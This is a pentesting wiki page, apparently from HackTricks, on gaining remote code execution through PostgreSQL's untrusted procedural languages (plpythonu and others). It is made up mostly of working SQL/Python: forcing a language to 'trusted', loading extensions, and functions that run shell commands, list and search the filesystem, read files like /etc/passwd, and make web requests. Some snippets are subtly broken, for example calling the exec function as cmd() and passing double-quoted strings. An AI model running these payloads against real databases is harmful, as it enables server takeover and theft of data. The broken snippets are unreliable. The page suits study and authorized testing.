rce-with-postgresql-languages.md (8041B)
1 --- 2 title: "RCE with PostgreSQL Languages" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # RCE with PostgreSQL Languages 14 15 ## PostgreSQL Languages 16 17 The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**. 18 19 You can **get them running**: 20 21 ```sql 22 \dL * 23 24 SELECT lanname,lanpltrusted,lanacl FROM pg_language; 25 ``` 26 27 Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting: 28 29 - **plpythonu** 30 - **plpython3u** 31 - **plperlu** 32 - **pljavaU** 33 - **plrubyu** 34 - ... (any other programming language using an insecure version) 35 36 > [!WARNING] 37 > If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL: 38 > 39 > ```sql 40 > UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; 41 > # To check your permissions over the table pg_language 42 > SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language'; 43 > ``` 44 45 > [!CAUTION] 46 > If you don't see a language, you could try to load it with (**you need to be superadmin**): 47 > 48 > ``` 49 > CREATE EXTENSION plpythonu; 50 > CREATE EXTENSION plpython3u; 51 > CREATE EXTENSION plperlu; 52 > CREATE EXTENSION pljavaU; 53 > CREATE EXTENSION plrubyu; 54 > ``` 55 56 Trusted language variants can be compiled without their normal restrictions, as this [untrusted PL/Ruby installation example](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) demonstrates. It is therefore worth checking for code execution even when only a nominally **trusted** variant appears installed.<sup>[[1]](#references)</sup> 57 58 ## plpythonu/plpython3u 59 60 ### RCE 61 ```sql 62 CREATE OR REPLACE FUNCTION exec (cmd text) 63 RETURNS VARCHAR(65535) stable 64 AS $$ 65 import os 66 return os.popen(cmd).read() 67 #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {}) 68 $$ 69 LANGUAGE 'plpythonu'; 70 71 SELECT cmd("ls"); #RCE with popen or execve 72 ``` 73 74 ### Get OS user 75 ```sql 76 CREATE OR REPLACE FUNCTION get_user (pkg text) 77 RETURNS VARCHAR(65535) stable 78 AS $$ 79 import os 80 return os.getlogin() 81 $$ 82 LANGUAGE 'plpythonu'; 83 84 SELECT get_user(""); #Get user, para is useless 85 ``` 86 87 ### List dir 88 ```sql 89 CREATE OR REPLACE FUNCTION lsdir (dir text) 90 RETURNS VARCHAR(65535) stable 91 AS $$ 92 import json 93 from os import walk 94 files = next(walk(dir), (None, None, [])) 95 return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535] 96 $$ 97 LANGUAGE 'plpythonu'; 98 99 SELECT lsdir("/"); #List dir 100 ``` 101 102 ### Find W folder 103 ```sql 104 CREATE OR REPLACE FUNCTION findw (dir text) 105 RETURNS VARCHAR(65535) stable 106 AS $$ 107 import os 108 def my_find(path): 109 writables = [] 110 def find_writable(path): 111 if not os.path.isdir(path): 112 return 113 if os.access(path, os.W_OK): 114 writables.append(path) 115 if not os.listdir(path): 116 return 117 else: 118 for item in os.listdir(path): 119 find_writable(os.path.join(path, item)) 120 find_writable(path) 121 return writables 122 123 return ", ".join(my_find(dir)) 124 $$ 125 LANGUAGE 'plpythonu'; 126 127 SELECT findw("/"); #Find Writable folders from a folder (recursively) 128 ``` 129 130 ### Find File 131 ```sql 132 CREATE OR REPLACE FUNCTION find_file (exe_sea text) 133 RETURNS VARCHAR(65535) stable 134 AS $$ 135 import os 136 def my_find(path): 137 executables = [] 138 def find_executables(path): 139 if not os.path.isdir(path): 140 executables.append(path) 141 142 if os.path.isdir(path): 143 if not os.listdir(path): 144 return 145 else: 146 for item in os.listdir(path): 147 find_executables(os.path.join(path, item)) 148 find_executables(path) 149 return executables 150 151 a = my_find("/") 152 b = [] 153 154 for i in a: 155 if exe_sea in os.path.basename(i): 156 b.append(i) 157 return ", ".join(b) 158 $$ 159 LANGUAGE 'plpythonu'; 160 161 SELECT find_file("psql"); #Find a file 162 ``` 163 164 ### Find executables 165 ```sql 166 CREATE OR REPLACE FUNCTION findx (dir text) 167 RETURNS VARCHAR(65535) stable 168 AS $$ 169 import os 170 def my_find(path): 171 executables = [] 172 def find_executables(path): 173 if not os.path.isdir(path) and os.access(path, os.X_OK): 174 executables.append(path) 175 176 if os.path.isdir(path): 177 if not os.listdir(path): 178 return 179 else: 180 for item in os.listdir(path): 181 find_executables(os.path.join(path, item)) 182 find_executables(path) 183 return executables 184 185 a = my_find(dir) 186 b = [] 187 188 for i in a: 189 b.append(os.path.basename(i)) 190 return ", ".join(b) 191 $$ 192 LANGUAGE 'plpythonu'; 193 194 SELECT findx("/"); #Find an executables in folder (recursively) 195 ``` 196 197 ### Find exec by subs 198 ```sql 199 CREATE OR REPLACE FUNCTION find_exe (exe_sea text) 200 RETURNS VARCHAR(65535) stable 201 AS $$ 202 import os 203 def my_find(path): 204 executables = [] 205 def find_executables(path): 206 if not os.path.isdir(path) and os.access(path, os.X_OK): 207 executables.append(path) 208 209 if os.path.isdir(path): 210 if not os.listdir(path): 211 return 212 else: 213 for item in os.listdir(path): 214 find_executables(os.path.join(path, item)) 215 find_executables(path) 216 return executables 217 218 a = my_find("/") 219 b = [] 220 221 for i in a: 222 if exe_sea in i: 223 b.append(i) 224 return ", ".join(b) 225 $$ 226 LANGUAGE 'plpythonu'; 227 228 SELECT find_exe("psql"); #Find executable by susbstring 229 ``` 230 231 ### Read 232 ```sql 233 CREATE OR REPLACE FUNCTION read (path text) 234 RETURNS VARCHAR(65535) stable 235 AS $$ 236 import base64 237 encoded_string= base64.b64encode(open(path).read()) 238 return encoded_string.decode('utf-8') 239 return open(path).read() 240 $$ 241 LANGUAGE 'plpythonu'; 242 243 select read('/etc/passwd'); #Read a file in b64 244 ``` 245 246 ### Get perms 247 ```sql 248 CREATE OR REPLACE FUNCTION get_perms (path text) 249 RETURNS VARCHAR(65535) stable 250 AS $$ 251 import os 252 status = os.stat(path) 253 perms = oct(status.st_mode)[-3:] 254 return str(perms) 255 $$ 256 LANGUAGE 'plpythonu'; 257 258 select get_perms("/etc/passwd"); # Get perms of file 259 ``` 260 261 ### Request 262 ```sql 263 CREATE OR REPLACE FUNCTION req2 (url text) 264 RETURNS VARCHAR(65535) stable 265 AS $$ 266 import urllib 267 r = urllib.urlopen(url) 268 return r.read() 269 $$ 270 LANGUAGE 'plpythonu'; 271 272 SELECT req2('https://google.com'); #Request using python2 273 274 CREATE OR REPLACE FUNCTION req3 (url text) 275 RETURNS VARCHAR(65535) stable 276 AS $$ 277 from urllib import request 278 r = request.urlopen(url) 279 return r.read() 280 $$ 281 LANGUAGE 'plpythonu'; 282 283 SELECT req3('https://google.com'); #Request using python3 284 ``` 285 286 287 ## pgSQL 288 289 Check the following page: 290 291 292 [Pl Pgsql Password Bruteforce](/hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce) 293 294 ## C 295 296 Check the following page: 297 298 299 [Rce With Postgresql Extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions) 300 301 ## References 302 303 - [1] [Installing Untrusted PL/Ruby for PostgreSQL](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)